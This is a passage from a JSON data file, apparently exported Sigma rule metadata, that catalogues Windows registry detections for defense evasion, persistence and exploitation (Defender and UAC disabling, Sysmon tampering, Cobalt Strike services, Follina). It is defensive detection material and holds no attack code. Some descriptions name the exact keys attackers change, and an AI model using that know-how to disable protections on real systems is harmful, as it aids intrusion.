Registry", - "meta": { - "refs": [ - "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", - "https://youtu.be/zSihR3lTf7g", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/07/28", - "filename": "registry_set_change_sysmon_driver_altitude.yml", - "author": "B.Talebi", - "level": "high", - "falsepositive": [ - "Legitimate driver altitude change to hide sysmon" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to windows event channel", - "uuid": "7d9263bd-dc47-4a58-bc92-5474abab390c", - "value": "Change Winevt Event Access Permission Via Registry", - "meta": { - "refs": [ - "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/", - "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", - "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2022/09/17", - "filename": "registry_set_change_winevt_channelaccess.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", - "uuid": "976dd1f2-a484-45ec-aa1d-0e87e882262b", - "value": "CHM Helper DLL Persistence", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/htmlhelpauthor.html", - "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chm_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_chm_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension", - "uuid": "b64a026b-8deb-4c1d-92fd-98893209dff1", - "value": "Running Chrome VPN Extensions via the Registry 2 VPN Extension", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1133" - ], - "creation_date": "2021/12/28", - "filename": "registry_set_chrome_extension.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\nWe can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml)\nIn some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.\n", - "uuid": "61a7697c-cb79-42a8-a2ff-5f0cdfae0130", - "value": "CobaltStrike Service Installations in Registry", - "meta": { - "refs": [ - "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1543.003", - "attack.t1569.002" - ], - "creation_date": "2021/06/29", - "filename": "registry_set_cobaltstrike_service_installs.yml", - "author": "Wojciech Lesicki", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", - "uuid": "07743f65-7ec9-404a-a519-913db7118a8d", - "value": "COM Hijack via Sdclt", - "meta": { - "refs": [ - "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", - "https://www.exploit-db.com/exploits/47696", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546", - "attack.t1548" - ], - "creation_date": "2020/09/27", - "filename": "registry_set_comhijack_sdclt.yml", - "author": "Omkar Gudhate", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", - "uuid": "2ff692c2-4594-41ec-8fcb-46587de769e0", - "value": "CrashControl CrashDump Disabled", - "meta": { - "refs": [ - "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml" - ], - "tags": [ - "attack.t1564", - "attack.t1112" - ], - "creation_date": "2022/02/24", - "filename": "registry_set_crashdump_disabled.yml", - "author": "Tobias Michalski", - "level": "medium", - "falsepositive": [ - "Legitimate disabling of crashdumps" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect the creation of a service with a service binary located in a suspicious directory", - "uuid": "a07f0359-4c90-4dc4-a681-8ffea40b4f47", - "value": "Service Binary in Suspicious Folder", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/05/02", - "filename": "registry_set_creation_service_susp_folder.yml", - "author": "Florian Roth, frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect the creation of a service with a service binary located in a uncommon directory", - "uuid": "277dc340-0540-42e7-8efb-5ff460045e07", - "value": "Service Binary in Uncommon Folder", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/05/02", - "filename": "registry_set_creation_service_uncommon_folder.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the abuse of custom file open handler, executing powershell", - "uuid": "7530b96f-ad8e-431d-a04d-ac85cc461fdc", - "value": "Custom File Open Handler Executes PowerShell", - "meta": { - "refs": [ - "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/06/11", - "filename": "registry_set_custom_file_open_handler_powershell_execution.yml", - "author": "CD_R0M_", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048", - "uuid": "7ec912f2-5175-4868-b811-ec13ad0f8567", - "value": "Suspicious New Printer Ports in Registry (CVE-2020-1048)", - "meta": { - "refs": [ - "https://windows-internals.com/printdemon-cve-2020-1048/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml" - ], - "tags": [ - "attack.persistence", - "attack.execution", - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/05/13", - "filename": "registry_set_cve_2020_1048_new_printer_port.yml", - "author": "EagleEye Team, Florian Roth, NVISO", - "level": "high", - "falsepositive": [ - "New printer port install on host" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", - "uuid": "32b5db62-cb5f-4266-9639-0fa48376ac00", - "value": "CVE-2021-31979 CVE-2021-33771 Exploits", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2021_31979_cve_2021_33771_exploits.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1566", - "attack.t1203", - "cve.2021.33771", - "cve.2021.31979" - ], - "creation_date": "2021/07/16", - "filename": "registry_set_cve_2021_31979_cve_2021_33771_exploits.yml", - "author": "Sittikorn S, frack113", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.", - "uuid": "2d9403d5-7927-46b7-8216-37ab7c9ec5e3", - "value": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)", - "meta": { - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1221" - ], - "creation_date": "2020/05/31", - "filename": "registry_set_cve_2022_30190_msdt_follina.yml", - "author": "Sittikorn S", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker adds a new \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence which will get invoked when an application crashes", - "uuid": "9827ae57-3802-418f-994b-d5ecf5cd974b", - "value": "Add Debugger Entry To DbgManagedDebugger For Persistence", - "meta": { - "refs": [ - "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", - "https://github.com/last-byte/PersistenceSniper", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574" - ], - "creation_date": "2022/08/07", - "filename": "registry_set_dbgmanageddebugger_persistence.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the Setting of Windows Defender Exclusions", - "uuid": "a982fc9c-6333-4ffb-a51d-addb04e8b529", - "value": "Windows Defender Exclusions Added", - "meta": { - "refs": [ - "https://twitter.com/_nullbind/status/1204923340810543109", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/06", - "filename": "registry_set_defender_exclusions.yml", - "author": "Christian Burkard", - "level": "medium", - "falsepositive": [ - "Administrator actions" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", - "uuid": "9d3436ef-9476-4c43-acca-90ce06bdf33a", - "value": "DHCP Callout DLL Installation", - "meta": { - "refs": [ - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", - "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1112" - ], - "creation_date": "2017/05/15", - "filename": "registry_set_dhcp_calloutdll.yml", - "author": "Dimitrios Slamaris", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects disabling Windows Defender Exploit Guard Network Protection", - "uuid": "bf9e1387-b040-4393-9851-1598f8ecfae9", - "value": "Disable Exploit Guard Network Protection on Windows Defender", - "meta": { - "refs": [ - "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/08/04", - "filename": "registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", - "uuid": "fcddca7c-b9c0-4ddf-98da-e1e2d18b0157", - "value": "Disabled Windows Defender Eventlog", - "meta": { - "refs": [ - "https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/07/04", - "filename": "registry_set_disabled_microsoft_defender_eventlog.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects disabling Windows Defender PUA protection", - "uuid": "8ffc5407-52e3-478f-9596-0a7371eafe13", - "value": "Disable PUA Protection on Windows Defender", - "meta": { - "refs": [ - "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/08/04", - "filename": "registry_set_disabled_pua_protection_on_microsoft_defender.yml", - "author": "Austin Songer @austinsonger", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects disabling Windows Defender Tamper Protection", - "uuid": "93d298a1-d28f-47f1-a468-d971e7796679", - "value": "Disable Tamper Protection on Windows Defender", - "meta": { - "refs": [ - "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/08/04", - "filename": "registry_set_disabled_tamper_protection_on_microsoft_defender.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", - "uuid": "c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e", - "value": "Disable Administrative Share Creation at Startup", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.005" - ], - "creation_date": "2022/01/16", - "filename": "registry_set_disable_administrative_share.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering of autologger trace sessions which is a technique used by attackers to disable logging", - "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316", - "value": "AutoLogger Sessions Tamper", - "meta": { - "refs": [ - "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/08/01", - "filename": "registry_set_disable_autologger_sessions.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", - "uuid": "974515da-6cc5-4c95-ae65-f97f9150ec7f", - "value": "Disable Microsoft Defender Firewall via Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2022/01/09", - "filename": "registry_set_disable_defender_firewall.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", - "uuid": "e2482f8d-3443-4237-b906-cc145d87a076", - "value": "Disable Internal Tools or Feature in Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/03/18", - "filename": "registry_set_disable_function_user.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate admin script" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", - "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1", - "value": "Disable Macro Runtime Scan Scope", - "meta": { - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", - "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", - "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/10/25", - "filename": "registry_set_disable_macroruntimescanscope.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Disable Microsoft Office Security Features by registry", - "uuid": "7c637634-c95d-4bbf-b26c-a82510874b34", - "value": "Disable Microsoft Office Security Features", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/06/08", - "filename": "registry_set_disable_microsoft_office_security_features.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry modifications that disable Privacy Settings Experience", - "uuid": "0372e1f9-0fd2-40f7-be1b-a7b2b848fa7b", - "value": "Disable Privacy Settings Experience in Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/10/02", - "filename": "registry_set_disable_privacy_settings_experience.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate admin script" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", - "uuid": "3ae1a046-f7db-439d-b7ce-b8b366b81fa6", - "value": "Disable Windows Security Center Notifications", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/08/19", - "filename": "registry_set_disable_security_center_notifications.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the modification of the registry to disable a system restore on the computer", - "uuid": "5de03871-5d46-4539-a82d-3aa992a69a83", - "value": "Registry Disable System Restore", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2022/04/04", - "filename": "registry_set_disable_system_restore.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0", - "uuid": "48437c39-9e5f-47fb-af95-3d663c3f2919", - "value": "Disable UAC Using Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-8---disable-uac-using-regexe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_uac_registry.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ], - "creation_date": "2022/01/05", - "filename": "registry_set_disable_uac_registry.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", - "uuid": "e1aa95de-610a-427d-b9e7-9b46cfafbe6a", - "value": "Windows Defender Service Disabled", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/01", - "filename": "registry_set_disable_windows_defender_service.yml", - "author": "J\u00e1n Tren\u010dansk\u00fd, frack113, AlertIQ, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Administrator actions" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect set EnableFirewall to 0 to disable the windows firewall", - "uuid": "e78c408a-e2ea-43cd-b5ea-51975cf358c0", - "value": "Disable Windows Firewall by Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2022/08/19", - "filename": "registry_set_disable_windows_firewall.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects tampering with the \"Enabled\" registry key in order to disable windows logging of a windows event channel", - "uuid": "2f78da12-f7c7-430b-8b19-a28f269b77a3", - "value": "Disable Winevt Event Logging Via Registry", - "meta": { - "refs": [ - "https://twitter.com/WhichbufferArda/status/1543900539280293889", - "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2022/07/04", - "filename": "registry_set_disable_winevt_logging.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate administrators disabling specific event log for troubleshooting" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect set DisallowRun to 1 to prevent user running specific computer program", - "uuid": "275641a5-a492-45e2-a817-7c81e9d9d3e9", - "value": "Add DisallowRun Execution to Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/08/19", - "filename": "registry_set_disallowrun_execution.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box [\u2026] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", - "uuid": "d4e2745c-f0c6-4bde-a3ab-b553b3f693cc", - "value": "Persistence Via Disk Cleanup Handler - Autorun", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/diskcleanuphandler.html", - "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_disk_cleanup_handler_autorun_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n", - "uuid": "04b45a8a-d11d-49e4-9acc-4a1b524407a5", - "value": "DNS-over-HTTPS Enabled by Registry", - "meta": { - "refs": [ - "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", - "https://github.com/elastic/detection-rules/issues/1371", - "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", - "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.t1112" - ], - "creation_date": "2021/07/22", - "filename": "registry_set_dns_over_https_enabled.yml", - "author": "Austin Songer", - "level": "medium", - 